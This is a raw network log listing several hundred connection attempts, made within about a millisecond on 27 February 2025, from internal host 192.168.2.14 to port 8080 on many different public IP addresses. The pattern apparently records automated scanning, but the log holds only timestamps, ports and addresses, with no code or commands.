Feb 27, 2025 07:08:37.585108995 CET	25538	8080	192.168.2.14	95.197.122.58
Feb 27, 2025 07:08:37.585114002 CET	25538	8080	192.168.2.14	94.121.6.214
Feb 27, 2025 07:08:37.585118055 CET	25538	8080	192.168.2.14	31.85.210.38
Feb 27, 2025 07:08:37.585130930 CET	25538	8080	192.168.2.14	94.176.39.208
Feb 27, 2025 07:08:37.585131884 CET	25538	8080	192.168.2.14	95.26.167.48
Feb 27, 2025 07:08:37.585134983 CET	25538	8080	192.168.2.14	31.206.91.252
Feb 27, 2025 07:08:37.585144043 CET	25538	8080	192.168.2.14	94.91.250.50
Feb 27, 2025 07:08:37.585151911 CET	25538	8080	192.168.2.14	31.249.137.95
Feb 27, 2025 07:08:37.585165977 CET	25538	8080	192.168.2.14	94.163.113.35
Feb 27, 2025 07:08:37.585166931 CET	25538	8080	192.168.2.14	31.189.8.133
Feb 27, 2025 07:08:37.585171938 CET	25538	8080	192.168.2.14	85.20.226.187
Feb 27, 2025 07:08:37.585175991 CET	25538	8080	192.168.2.14	31.163.111.140
Feb 27, 2025 07:08:37.585176945 CET	25538	8080	192.168.2.14	62.76.161.82
Feb 27, 2025 07:08:37.585177898 CET	25538	8080	192.168.2.14	31.58.246.196
Feb 27, 2025 07:08:37.585184097 CET	25538	8080	192.168.2.14	95.115.49.33
Feb 27, 2025 07:08:37.585201979 CET	25538	8080	192.168.2.14	85.158.230.234
Feb 27, 2025 07:08:37.585206985 CET	25538	8080	192.168.2.14	62.119.184.80
Feb 27, 2025 07:08:37.585206985 CET	25538	8080	192.168.2.14	85.41.120.167
Feb 27, 2025 07:08:37.585207939 CET	25538	8080	192.168.2.14	85.202.102.59
Feb 27, 2025 07:08:37.585220098 CET	25538	8080	192.168.2.14	95.197.201.131
Feb 27, 2025 07:08:37.585225105 CET	25538	8080	192.168.2.14	31.174.133.186
Feb 27, 2025 07:08:37.585225105 CET	25538	8080	192.168.2.14	31.151.69.175
Feb 27, 2025 07:08:37.585235119 CET	25538	8080	192.168.2.14	95.137.217.32
Feb 27, 2025 07:08:37.585237026 CET	25538	8080	192.168.2.14	62.232.80.3
Feb 27, 2025 07:08:37.585244894 CET	25538	8080	192.168.2.14	94.0.2.217
Feb 27, 2025 07:08:37.585258007 CET	25538	8080	192.168.2.14	31.118.88.129
Feb 27, 2025 07:08:37.585258961 CET	25538	8080	192.168.2.14	85.194.229.131
Feb 27, 2025 07:08:37.585270882 CET	25538	8080	192.168.2.14	95.195.80.139
Feb 27, 2025 07:08:37.585270882 CET	25538	8080	192.168.2.14	94.216.173.16
Feb 27, 2025 07:08:37.585275888 CET	25538	8080	192.168.2.14	62.90.196.33
Feb 27, 2025 07:08:37.585275888 CET	25538	8080	192.168.2.14	85.137.210.96
Feb 27, 2025 07:08:37.585293055 CET	25538	8080	192.168.2.14	85.244.147.174
Feb 27, 2025 07:08:37.585294962 CET	25538	8080	192.168.2.14	62.207.177.106
Feb 27, 2025 07:08:37.585304976 CET	25538	8080	192.168.2.14	62.40.128.230
Feb 27, 2025 07:08:37.585306883 CET	25538	8080	192.168.2.14	94.222.104.100
Feb 27, 2025 07:08:37.585311890 CET	25538	8080	192.168.2.14	62.94.50.224
Feb 27, 2025 07:08:37.585313082 CET	25538	8080	192.168.2.14	85.200.37.90
Feb 27, 2025 07:08:37.585331917 CET	25538	8080	192.168.2.14	95.103.15.248
Feb 27, 2025 07:08:37.585336924 CET	25538	8080	192.168.2.14	95.169.44.24
Feb 27, 2025 07:08:37.585340977 CET	25538	8080	192.168.2.14	31.155.66.207
Feb 27, 2025 07:08:37.585340977 CET	25538	8080	192.168.2.14	94.13.122.178
Feb 27, 2025 07:08:37.585341930 CET	25538	8080	192.168.2.14	31.6.49.17
Feb 27, 2025 07:08:37.585342884 CET	25538	8080	192.168.2.14	31.223.32.180
Feb 27, 2025 07:08:37.585345984 CET	25538	8080	192.168.2.14	94.55.89.251
Feb 27, 2025 07:08:37.585355043 CET	25538	8080	192.168.2.14	31.125.240.47
Feb 27, 2025 07:08:37.585364103 CET	25538	8080	192.168.2.14	31.166.79.215
Feb 27, 2025 07:08:37.585369110 CET	25538	8080	192.168.2.14	85.84.200.234
Feb 27, 2025 07:08:37.585377932 CET	25538	8080	192.168.2.14	95.28.117.92
Feb 27, 2025 07:08:37.585380077 CET	25538	8080	192.168.2.14	62.52.227.75
Feb 27, 2025 07:08:37.585381985 CET	25538	8080	192.168.2.14	95.54.200.68
Feb 27, 2025 07:08:37.585392952 CET	25538	8080	192.168.2.14	62.209.119.229
Feb 27, 2025 07:08:37.585397005 CET	25538	8080	192.168.2.14	95.80.208.21
Feb 27, 2025 07:08:37.585408926 CET	25538	8080	192.168.2.14	62.106.99.40
Feb 27, 2025 07:08:37.585410118 CET	25538	8080	192.168.2.14	62.10.183.94
Feb 27, 2025 07:08:37.585416079 CET	25538	8080	192.168.2.14	31.13.16.231
Feb 27, 2025 07:08:37.585418940 CET	25538	8080	192.168.2.14	85.88.98.253
Feb 27, 2025 07:08:37.585422039 CET	25538	8080	192.168.2.14	85.103.112.109
Feb 27, 2025 07:08:37.585437059 CET	25538	8080	192.168.2.14	31.138.173.94
Feb 27, 2025 07:08:37.585444927 CET	25538	8080	192.168.2.14	62.197.252.24
Feb 27, 2025 07:08:37.585445881 CET	25538	8080	192.168.2.14	62.49.107.44
Feb 27, 2025 07:08:37.585445881 CET	25538	8080	192.168.2.14	94.194.27.71
Feb 27, 2025 07:08:37.585447073 CET	25538	8080	192.168.2.14	95.237.199.245
Feb 27, 2025 07:08:37.585449934 CET	25538	8080	192.168.2.14	95.31.143.159
Feb 27, 2025 07:08:37.585460901 CET	25538	8080	192.168.2.14	85.178.234.206
Feb 27, 2025 07:08:37.585465908 CET	25538	8080	192.168.2.14	31.165.190.196
Feb 27, 2025 07:08:37.585475922 CET	25538	8080	192.168.2.14	94.161.35.175
Feb 27, 2025 07:08:37.585483074 CET	25538	8080	192.168.2.14	94.61.137.142
Feb 27, 2025 07:08:37.585483074 CET	25538	8080	192.168.2.14	85.53.204.25
Feb 27, 2025 07:08:37.585485935 CET	25538	8080	192.168.2.14	85.164.65.56
Feb 27, 2025 07:08:37.585493088 CET	25538	8080	192.168.2.14	85.46.152.108
Feb 27, 2025 07:08:37.585500002 CET	25538	8080	192.168.2.14	85.233.21.181
Feb 27, 2025 07:08:37.585505962 CET	25538	8080	192.168.2.14	62.58.78.0
Feb 27, 2025 07:08:37.585547924 CET	25538	8080	192.168.2.14	62.132.213.34
Feb 27, 2025 07:08:37.585549116 CET	25538	8080	192.168.2.14	31.165.202.184
Feb 27, 2025 07:08:37.585549116 CET	25538	8080	192.168.2.14	31.91.41.50
Feb 27, 2025 07:08:37.585551023 CET	25538	8080	192.168.2.14	62.207.124.191
Feb 27, 2025 07:08:37.585551023 CET	25538	8080	192.168.2.14	85.222.37.142
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	85.230.17.73
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	85.246.98.185
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	95.136.112.233
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	85.139.141.85
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	94.155.192.34
Feb 27, 2025 07:08:37.585560083 CET	25538	8080	192.168.2.14	31.161.84.22
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	94.170.26.191
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	94.224.254.8
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	94.71.183.174
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	95.129.136.91
Feb 27, 2025 07:08:37.585555077 CET	25538	8080	192.168.2.14	31.246.79.186
Feb 27, 2025 07:08:37.585561991 CET	25538	8080	192.168.2.14	94.3.83.164
Feb 27, 2025 07:08:37.585563898 CET	25538	8080	192.168.2.14	62.95.106.112
Feb 27, 2025 07:08:37.585563898 CET	25538	8080	192.168.2.14	31.221.30.19
Feb 27, 2025 07:08:37.585563898 CET	25538	8080	192.168.2.14	62.31.191.141
Feb 27, 2025 07:08:37.585567951 CET	25538	8080	192.168.2.14	95.59.225.234
Feb 27, 2025 07:08:37.585567951 CET	25538	8080	192.168.2.14	31.119.78.198
Feb 27, 2025 07:08:37.585567951 CET	25538	8080	192.168.2.14	95.26.3.250
Feb 27, 2025 07:08:37.585567951 CET	25538	8080	192.168.2.14	62.189.10.88
Feb 27, 2025 07:08:37.585567951 CET	25538	8080	192.168.2.14	95.138.245.56
Feb 27, 2025 07:08:37.585567951 CET	25538	8080	192.168.2.14	31.221.141.86
Feb 27, 2025 07:08:37.585567951 CET	25538	8080	192.168.2.14	31.238.183.143
Feb 27, 2025 07:08:37.585575104 CET	25538	8080	192.168.2.14	85.39.132.171
Feb 27, 2025 07:08:37.585575104 CET	25538	8080	192.168.2.14	62.135.240.173
Feb 27, 2025 07:08:37.585577965 CET	25538	8080	192.168.2.14	95.42.179.132
Feb 27, 2025 07:08:37.585582018 CET	25538	8080	192.168.2.14	85.148.176.83
Feb 27, 2025 07:08:37.585592031 CET	25538	8080	192.168.2.14	95.146.137.182
Feb 27, 2025 07:08:37.585597992 CET	25538	8080	192.168.2.14	31.246.255.141
Feb 27, 2025 07:08:37.585602045 CET	25538	8080	192.168.2.14	31.109.205.187
Feb 27, 2025 07:08:37.585608959 CET	25538	8080	192.168.2.14	31.120.219.65
Feb 27, 2025 07:08:37.585614920 CET	25538	8080	192.168.2.14	94.171.117.163
Feb 27, 2025 07:08:37.585614920 CET	25538	8080	192.168.2.14	62.24.172.207
Feb 27, 2025 07:08:37.585633039 CET	25538	8080	192.168.2.14	31.24.142.226
Feb 27, 2025 07:08:37.585634947 CET	25538	8080	192.168.2.14	85.97.16.67
Feb 27, 2025 07:08:37.585643053 CET	25538	8080	192.168.2.14	31.65.157.100
Feb 27, 2025 07:08:37.585643053 CET	25538	8080	192.168.2.14	94.149.7.219
Feb 27, 2025 07:08:37.585653067 CET	25538	8080	192.168.2.14	85.202.214.82
Feb 27, 2025 07:08:37.585653067 CET	25538	8080	192.168.2.14	62.144.252.53
Feb 27, 2025 07:08:37.585669041 CET	25538	8080	192.168.2.14	95.144.7.60
Feb 27, 2025 07:08:37.585670948 CET	25538	8080	192.168.2.14	62.142.51.176
Feb 27, 2025 07:08:37.585670948 CET	25538	8080	192.168.2.14	95.46.139.251
Feb 27, 2025 07:08:37.585675001 CET	25538	8080	192.168.2.14	95.188.97.235
Feb 27, 2025 07:08:37.585675001 CET	25538	8080	192.168.2.14	94.18.13.57
Feb 27, 2025 07:08:37.585678101 CET	25538	8080	192.168.2.14	31.252.74.181
Feb 27, 2025 07:08:37.585685015 CET	25538	8080	192.168.2.14	85.91.117.27
Feb 27, 2025 07:08:37.585691929 CET	25538	8080	192.168.2.14	31.187.49.140
Feb 27, 2025 07:08:37.585697889 CET	25538	8080	192.168.2.14	94.123.148.232
Feb 27, 2025 07:08:37.585697889 CET	25538	8080	192.168.2.14	95.254.200.203
Feb 27, 2025 07:08:37.585705996 CET	25538	8080	192.168.2.14	85.130.105.184
Feb 27, 2025 07:08:37.585710049 CET	25538	8080	192.168.2.14	31.168.221.204
Feb 27, 2025 07:08:37.585733891 CET	25538	8080	192.168.2.14	31.221.73.179
Feb 27, 2025 07:08:37.585735083 CET	25538	8080	192.168.2.14	62.216.213.202
Feb 27, 2025 07:08:37.585733891 CET	25538	8080	192.168.2.14	62.87.91.37
Feb 27, 2025 07:08:37.585733891 CET	25538	8080	192.168.2.14	94.64.128.94
Feb 27, 2025 07:08:37.585738897 CET	25538	8080	192.168.2.14	94.37.190.31
Feb 27, 2025 07:08:37.585741043 CET	25538	8080	192.168.2.14	85.98.161.210
Feb 27, 2025 07:08:37.585746050 CET	25538	8080	192.168.2.14	62.92.51.253
Feb 27, 2025 07:08:37.585755110 CET	25538	8080	192.168.2.14	62.199.68.221
Feb 27, 2025 07:08:37.585760117 CET	25538	8080	192.168.2.14	95.54.117.220
Feb 27, 2025 07:08:37.585760117 CET	25538	8080	192.168.2.14	94.233.38.100
Feb 27, 2025 07:08:37.585763931 CET	25538	8080	192.168.2.14	94.147.71.187
Feb 27, 2025 07:08:37.585764885 CET	25538	8080	192.168.2.14	62.204.125.37
Feb 27, 2025 07:08:37.585781097 CET	25538	8080	192.168.2.14	85.155.172.147
Feb 27, 2025 07:08:37.585786104 CET	25538	8080	192.168.2.14	95.66.172.170
Feb 27, 2025 07:08:37.585787058 CET	25538	8080	192.168.2.14	95.79.39.3
Feb 27, 2025 07:08:37.585787058 CET	25538	8080	192.168.2.14	62.144.166.189
Feb 27, 2025 07:08:37.585791111 CET	25538	8080	192.168.2.14	62.152.209.222
Feb 27, 2025 07:08:37.585794926 CET	25538	8080	192.168.2.14	94.10.44.125
Feb 27, 2025 07:08:37.585803032 CET	25538	8080	192.168.2.14	85.74.66.63
Feb 27, 2025 07:08:37.585804939 CET	25538	8080	192.168.2.14	31.141.189.146
Feb 27, 2025 07:08:37.585819960 CET	25538	8080	192.168.2.14	62.103.121.158
Feb 27, 2025 07:08:37.585819960 CET	25538	8080	192.168.2.14	95.194.154.6
Feb 27, 2025 07:08:37.585823059 CET	25538	8080	192.168.2.14	85.27.183.204
Feb 27, 2025 07:08:37.585825920 CET	25538	8080	192.168.2.14	62.155.16.132
Feb 27, 2025 07:08:37.585832119 CET	25538	8080	192.168.2.14	31.112.147.3
Feb 27, 2025 07:08:37.585833073 CET	25538	8080	192.168.2.14	62.193.197.51
Feb 27, 2025 07:08:37.585833073 CET	25538	8080	192.168.2.14	31.151.0.163
Feb 27, 2025 07:08:37.585844040 CET	25538	8080	192.168.2.14	94.70.133.0
Feb 27, 2025 07:08:37.585845947 CET	25538	8080	192.168.2.14	62.242.165.244
Feb 27, 2025 07:08:37.585848093 CET	25538	8080	192.168.2.14	94.87.157.17
Feb 27, 2025 07:08:37.585848093 CET	25538	8080	192.168.2.14	94.88.2.140
Feb 27, 2025 07:08:37.585867882 CET	25538	8080	192.168.2.14	95.188.68.228
Feb 27, 2025 07:08:37.585872889 CET	25538	8080	192.168.2.14	62.234.22.111
Feb 27, 2025 07:08:37.585875034 CET	25538	8080	192.168.2.14	85.235.41.219
Feb 27, 2025 07:08:37.585875988 CET	25538	8080	192.168.2.14	85.4.192.67
Feb 27, 2025 07:08:37.585890055 CET	25538	8080	192.168.2.14	95.197.213.32
Feb 27, 2025 07:08:37.585890055 CET	25538	8080	192.168.2.14	31.24.200.170
Feb 27, 2025 07:08:37.585896015 CET	25538	8080	192.168.2.14	31.150.164.183
Feb 27, 2025 07:08:37.585896969 CET	25538	8080	192.168.2.14	62.74.16.56
Feb 27, 2025 07:08:37.585907936 CET	25538	8080	192.168.2.14	95.60.139.2
Feb 27, 2025 07:08:37.585916996 CET	25538	8080	192.168.2.14	31.13.33.36
Feb 27, 2025 07:08:37.585921049 CET	25538	8080	192.168.2.14	95.163.108.126
Feb 27, 2025 07:08:37.585923910 CET	25538	8080	192.168.2.14	31.179.193.245
Feb 27, 2025 07:08:37.585930109 CET	25538	8080	192.168.2.14	85.129.209.23
Feb 27, 2025 07:08:37.585935116 CET	25538	8080	192.168.2.14	94.153.42.49
Feb 27, 2025 07:08:37.585937977 CET	25538	8080	192.168.2.14	95.249.44.30
Feb 27, 2025 07:08:37.585948944 CET	25538	8080	192.168.2.14	94.247.158.196
Feb 27, 2025 07:08:37.585952044 CET	25538	8080	192.168.2.14	31.218.32.135
Feb 27, 2025 07:08:37.585954905 CET	25538	8080	192.168.2.14	62.123.45.143
Feb 27, 2025 07:08:37.585968018 CET	25538	8080	192.168.2.14	85.141.241.158
Feb 27, 2025 07:08:37.585969925 CET	25538	8080	192.168.2.14	94.39.23.210
Feb 27, 2025 07:08:37.585971117 CET	25538	8080	192.168.2.14	94.161.48.56
Feb 27, 2025 07:08:37.585978031 CET	25538	8080	192.168.2.14	94.162.21.202
Feb 27, 2025 07:08:37.585980892 CET	25538	8080	192.168.2.14	95.182.76.244
Feb 27, 2025 07:08:37.585989952 CET	25538	8080	192.168.2.14	95.49.177.18
Feb 27, 2025 07:08:37.585989952 CET	25538	8080	192.168.2.14	95.112.152.68
Feb 27, 2025 07:08:37.585999012 CET	25538	8080	192.168.2.14	85.141.179.121
Feb 27, 2025 07:08:37.585999012 CET	25538	8080	192.168.2.14	62.40.12.26
Feb 27, 2025 07:08:37.585999012 CET	25538	8080	192.168.2.14	85.238.218.213
Feb 27, 2025 07:08:37.586002111 CET	25538	8080	192.168.2.14	62.143.1.36
Feb 27, 2025 07:08:37.586013079 CET	25538	8080	192.168.2.14	62.26.149.197
Feb 27, 2025 07:08:37.586014032 CET	25538	8080	192.168.2.14	31.255.169.240
Feb 27, 2025 07:08:37.586020947 CET	25538	8080	192.168.2.14	62.75.49.117
Feb 27, 2025 07:08:37.586035013 CET	25538	8080	192.168.2.14	94.83.127.145
Feb 27, 2025 07:08:37.586039066 CET	25538	8080	192.168.2.14	85.195.135.168
Feb 27, 2025 07:08:37.586041927 CET	25538	8080	192.168.2.14	94.230.101.97
Feb 27, 2025 07:08:37.586042881 CET	25538	8080	192.168.2.14	31.90.253.6
Feb 27, 2025 07:08:37.586050987 CET	25538	8080	192.168.2.14	95.82.69.92
Feb 27, 2025 07:08:37.586060047 CET	25538	8080	192.168.2.14	94.141.84.145
Feb 27, 2025 07:08:37.586061954 CET	25538	8080	192.168.2.14	62.182.110.105
Feb 27, 2025 07:08:37.586062908 CET	25538	8080	192.168.2.14	62.112.123.173
Feb 27, 2025 07:08:37.586072922 CET	25538	8080	192.168.2.14	85.211.153.43
Feb 27, 2025 07:08:37.586081028 CET	25538	8080	192.168.2.14	31.255.5.37
Feb 27, 2025 07:08:37.586085081 CET	25538	8080	192.168.2.14	94.244.162.25
Feb 27, 2025 07:08:37.586086035 CET	25538	8080	192.168.2.14	62.69.243.88
Feb 27, 2025 07:08:37.586091995 CET	25538	8080	192.168.2.14	85.154.64.109
Feb 27, 2025 07:08:37.586092949 CET	25538	8080	192.168.2.14	95.190.219.30
Feb 27, 2025 07:08:37.586095095 CET	25538	8080	192.168.2.14	94.0.150.6
Feb 27, 2025 07:08:37.586095095 CET	25538	8080	192.168.2.14	31.97.60.135
Feb 27, 2025 07:08:37.586111069 CET	25538	8080	192.168.2.14	85.217.133.232
Feb 27, 2025 07:08:37.586112022 CET	25538	8080	192.168.2.14	85.194.233.90
Feb 27, 2025 07:08:37.586116076 CET	25538	8080	192.168.2.14	94.77.71.57
Feb 27, 2025 07:08:37.586121082 CET	25538	8080	192.168.2.14	62.41.56.184
Feb 27, 2025 07:08:37.586121082 CET	25538	8080	192.168.2.14	62.212.206.150
Feb 27, 2025 07:08:37.586122036 CET	25538	8080	192.168.2.14	85.90.45.242
Feb 27, 2025 07:08:37.586134911 CET	25538	8080	192.168.2.14	94.117.94.179
Feb 27, 2025 07:08:37.586137056 CET	25538	8080	192.168.2.14	95.183.241.213
Feb 27, 2025 07:08:37.586137056 CET	25538	8080	192.168.2.14	85.114.39.164
Feb 27, 2025 07:08:37.586137056 CET	25538	8080	192.168.2.14	85.199.120.183
Feb 27, 2025 07:08:37.586143017 CET	25538	8080	192.168.2.14	62.193.109.124
Feb 27, 2025 07:08:37.586143017 CET	25538	8080	192.168.2.14	94.98.102.33
Feb 27, 2025 07:08:37.586143017 CET	25538	8080	192.168.2.14	94.61.128.77
Feb 27, 2025 07:08:37.586167097 CET	25538	8080	192.168.2.14	95.110.229.36
Feb 27, 2025 07:08:37.586169958 CET	25538	8080	192.168.2.14	85.100.8.72
Feb 27, 2025 07:08:37.586169958 CET	25538	8080	192.168.2.14	94.235.190.145
Feb 27, 2025 07:08:37.586173058 CET	25538	8080	192.168.2.14	85.209.85.190
Feb 27, 2025 07:08:37.586175919 CET	25538	8080	192.168.2.14	62.121.89.163
Feb 27, 2025 07:08:37.586190939 CET	25538	8080	192.168.2.14	31.152.246.130
Feb 27, 2025 07:08:37.586191893 CET	25538	8080	192.168.2.14	85.227.76.231
Feb 27, 2025 07:08:37.586209059 CET	25538	8080	192.168.2.14	94.207.133.241
Feb 27, 2025 07:08:37.586210012 CET	25538	8080	192.168.2.14	31.89.100.68
Feb 27, 2025 07:08:37.586211920 CET	25538	8080	192.168.2.14	85.35.87.97
Feb 27, 2025 07:08:37.586227894 CET	25538	8080	192.168.2.14	95.153.233.178
Feb 27, 2025 07:08:37.586232901 CET	25538	8080	192.168.2.14	62.104.163.179
Feb 27, 2025 07:08:37.586242914 CET	25538	8080	192.168.2.14	95.110.64.171
Feb 27, 2025 07:08:37.586244106 CET	25538	8080	192.168.2.14	85.82.158.133
Feb 27, 2025 07:08:37.586244106 CET	25538	8080	192.168.2.14	62.36.226.94
Feb 27, 2025 07:08:37.586244106 CET	25538	8080	192.168.2.14	94.84.151.125
Feb 27, 2025 07:08:37.586247921 CET	25538	8080	192.168.2.14	62.97.205.253
Feb 27, 2025 07:08:37.586247921 CET	25538	8080	192.168.2.14	31.192.147.173
Feb 27, 2025 07:08:37.586244106 CET	25538	8080	192.168.2.14	62.95.160.169
Feb 27, 2025 07:08:37.586247921 CET	25538	8080	192.168.2.14	85.240.26.90
Feb 27, 2025 07:08:37.586261034 CET	25538	8080	192.168.2.14	94.149.222.22
Feb 27, 2025 07:08:37.586261988 CET	25538	8080	192.168.2.14	85.151.213.176
Feb 27, 2025 07:08:37.586268902 CET	25538	8080	192.168.2.14	62.250.6.150
Feb 27, 2025 07:08:37.586281061 CET	25538	8080	192.168.2.14	31.143.23.223
Feb 27, 2025 07:08:37.586282015 CET	25538	8080	192.168.2.14	31.229.183.82
Feb 27, 2025 07:08:37.586286068 CET	25538	8080	192.168.2.14	62.205.182.57
Feb 27, 2025 07:08:37.586293936 CET	25538	8080	192.168.2.14	31.31.162.215
Feb 27, 2025 07:08:37.586299896 CET	25538	8080	192.168.2.14	62.166.81.113
Feb 27, 2025 07:08:37.586299896 CET	25538	8080	192.168.2.14	31.69.63.77
Feb 27, 2025 07:08:37.586303949 CET	25538	8080	192.168.2.14	62.47.9.106
Feb 27, 2025 07:08:37.586318016 CET	25538	8080	192.168.2.14	95.41.219.97
Feb 27, 2025 07:08:37.586319923 CET	25538	8080	192.168.2.14	62.99.63.124
Feb 27, 2025 07:08:37.586323977 CET	25538	8080	192.168.2.14	95.143.238.216
Feb 27, 2025 07:08:37.586323977 CET	25538	8080	192.168.2.14	94.7.35.94
Feb 27, 2025 07:08:37.586339951 CET	25538	8080	192.168.2.14	31.142.92.159
Feb 27, 2025 07:08:37.586340904 CET	25538	8080	192.168.2.14	95.247.122.88
Feb 27, 2025 07:08:37.586348057 CET	25538	8080	192.168.2.14	62.31.67.28
Feb 27, 2025 07:08:37.586352110 CET	25538	8080	192.168.2.14	62.138.165.216
Feb 27, 2025 07:08:37.586360931 CET	25538	8080	192.168.2.14	85.155.90.125
Feb 27, 2025 07:08:37.586360931 CET	25538	8080	192.168.2.14	62.124.19.110
Feb 27, 2025 07:08:37.586366892 CET	25538	8080	192.168.2.14	95.90.189.26
Feb 27, 2025 07:08:37.586369991 CET	25538	8080	192.168.2.14	94.165.59.255
Feb 27, 2025 07:08:37.586371899 CET	25538	8080	192.168.2.14	62.115.77.137
Feb 27, 2025 07:08:37.586374044 CET	25538	8080	192.168.2.14	62.3.207.148
Feb 27, 2025 07:08:37.586374998 CET	25538	8080	192.168.2.14	85.49.121.90
Feb 27, 2025 07:08:37.586385965 CET	25538	8080	192.168.2.14	62.150.155.150
Feb 27, 2025 07:08:37.586385965 CET	25538	8080	192.168.2.14	31.58.230.136
Feb 27, 2025 07:08:37.586386919 CET	25538	8080	192.168.2.14	62.47.70.225
Feb 27, 2025 07:08:37.586406946 CET	25538	8080	192.168.2.14	95.105.114.15
Feb 27, 2025 07:08:37.586409092 CET	25538	8080	192.168.2.14	94.83.73.94
Feb 27, 2025 07:08:37.586409092 CET	25538	8080	192.168.2.14	94.99.69.100
Feb 27, 2025 07:08:37.586409092 CET	25538	8080	192.168.2.14	62.76.250.248
Feb 27, 2025 07:08:37.586410999 CET	25538	8080	192.168.2.14	94.103.99.228
Feb 27, 2025 07:08:37.586410999 CET	25538	8080	192.168.2.14	31.83.53.125
Feb 27, 2025 07:08:37.586419106 CET	25538	8080	192.168.2.14	94.215.58.255
Feb 27, 2025 07:08:37.586419106 CET	25538	8080	192.168.2.14	85.36.64.206
Feb 27, 2025 07:08:37.586432934 CET	25538	8080	192.168.2.14	95.254.154.201
Feb 27, 2025 07:08:37.586435080 CET	25538	8080	192.168.2.14	31.131.128.166
Feb 27, 2025 07:08:37.586441040 CET	25538	8080	192.168.2.14	95.93.61.4
Feb 27, 2025 07:08:37.586441040 CET	25538	8080	192.168.2.14	95.201.58.103
Feb 27, 2025 07:08:37.586441040 CET	25538	8080	192.168.2.14	62.135.25.12
Feb 27, 2025 07:08:37.586451054 CET	25538	8080	192.168.2.14	62.77.183.138
Feb 27, 2025 07:08:37.586458921 CET	25538	8080	192.168.2.14	62.239.234.176
Feb 27, 2025 07:08:37.586463928 CET	25538	8080	192.168.2.14	62.160.120.81
Feb 27, 2025 07:08:37.586472034 CET	25538	8080	192.168.2.14	95.129.180.139
Feb 27, 2025 07:08:37.586481094 CET	25538	8080	192.168.2.14	62.156.189.97
Feb 27, 2025 07:08:37.586482048 CET	25538	8080	192.168.2.14	94.1.176.218
Feb 27, 2025 07:08:37.586481094 CET	25538	8080	192.168.2.14	85.85.241.37
Feb 27, 2025 07:08:37.586488008 CET	25538	8080	192.168.2.14	85.208.102.184
Feb 27, 2025 07:08:37.586494923 CET	25538	8080	192.168.2.14	62.10.26.248
Feb 27, 2025 07:08:37.586498022 CET	25538	8080	192.168.2.14	95.201.165.167
Feb 27, 2025 07:08:37.586513042 CET	25538	8080	192.168.2.14	85.178.31.43
Feb 27, 2025 07:08:37.586513996 CET	25538	8080	192.168.2.14	62.101.233.229
Feb 27, 2025 07:08:37.586515903 CET	25538	8080	192.168.2.14	31.136.209.104
Feb 27, 2025 07:08:37.586519957 CET	25538	8080	192.168.2.14	31.29.123.136
Feb 27, 2025 07:08:37.586519957 CET	25538	8080	192.168.2.14	95.102.93.61
Feb 27, 2025 07:08:37.586519957 CET	25538	8080	192.168.2.14	94.157.218.194
Feb 27, 2025 07:08:37.586539030 CET	25538	8080	192.168.2.14	94.35.66.46
Feb 27, 2025 07:08:37.586539030 CET	25538	8080	192.168.2.14	31.251.45.36
Feb 27, 2025 07:08:37.586539030 CET	25538	8080	192.168.2.14	94.156.232.1
Feb 27, 2025 07:08:37.586539030 CET	25538	8080	192.168.2.14	31.194.200.60
Feb 27, 2025 07:08:37.586545944 CET	25538	8080	192.168.2.14	95.204.71.1
Feb 27, 2025 07:08:37.586555004 CET	25538	8080	192.168.2.14	94.141.254.8
Feb 27, 2025 07:08:37.586565018 CET	25538	8080	192.168.2.14	95.114.42.218
Feb 27, 2025 07:08:37.586568117 CET	25538	8080	192.168.2.14	31.53.6.191
Feb 27, 2025 07:08:37.586579084 CET	25538	8080	192.168.2.14	94.25.212.2
Feb 27, 2025 07:08:37.586591005 CET	25538	8080	192.168.2.14	94.14.219.37
Feb 27, 2025 07:08:37.586591959 CET	25538	8080	192.168.2.14	31.57.102.156
Feb 27, 2025 07:08:37.586591959 CET	25538	8080	192.168.2.14	62.121.245.104
Feb 27, 2025 07:08:37.586594105 CET	25538	8080	192.168.2.14	95.11.106.139
Feb 27, 2025 07:08:37.586595058 CET	25538	8080	192.168.2.14	85.182.40.162
Feb 27, 2025 07:08:37.586595058 CET	25538	8080	192.168.2.14	95.37.87.25
Feb 27, 2025 07:08:37.586595058 CET	25538	8080	192.168.2.14	95.219.253.190
Feb 27, 2025 07:08:37.586595058 CET	25538	8080	192.168.2.14	31.114.208.4
Feb 27, 2025 07:08:37.586611032 CET	25538	8080	192.168.2.14	31.231.109.163
Feb 27, 2025 07:08:37.586611032 CET	25538	8080	192.168.2.14	62.154.167.97
Feb 27, 2025 07:08:37.586612940 CET	25538	8080	192.168.2.14	31.25.175.2
Feb 27, 2025 07:08:37.586617947 CET	25538	8080	192.168.2.14	85.84.1.60
Feb 27, 2025 07:08:37.586622953 CET	25538	8080	192.168.2.14	31.147.106.77
Feb 27, 2025 07:08:37.586639881 CET	25538	8080	192.168.2.14	31.165.247.63
Feb 27, 2025 07:08:37.586642027 CET	25538	8080	192.168.2.14	62.70.43.194
Feb 27, 2025 07:08:37.586642027 CET	25538	8080	192.168.2.14	62.122.231.113
Feb 27, 2025 07:08:37.586646080 CET	25538	8080	192.168.2.14	95.226.23.211
Feb 27, 2025 07:08:37.586647987 CET	25538	8080	192.168.2.14	31.118.164.3
Feb 27, 2025 07:08:37.586652040 CET	25538	8080	192.168.2.14	94.253.71.160
Feb 27, 2025 07:08:37.586659908 CET	25538	8080	192.168.2.14	62.122.133.169
Feb 27, 2025 07:08:37.586668015 CET	25538	8080	192.168.2.14	95.120.0.137
Feb 27, 2025 07:08:37.586671114 CET	25538	8080	192.168.2.14	95.141.53.182
Feb 27, 2025 07:08:37.586674929 CET	25538	8080	192.168.2.14	94.156.42.119
Feb 27, 2025 07:08:37.586674929 CET	25538	8080	192.168.2.14	85.120.68.156
Feb 27, 2025 07:08:37.586675882 CET	25538	8080	192.168.2.14	31.165.198.120
Feb 27, 2025 07:08:37.586675882 CET	25538	8080	192.168.2.14	95.35.111.116
Feb 27, 2025 07:08:37.586677074 CET	25538	8080	192.168.2.14	85.231.102.12
Feb 27, 2025 07:08:37.586683035 CET	25538	8080	192.168.2.14	95.123.126.123
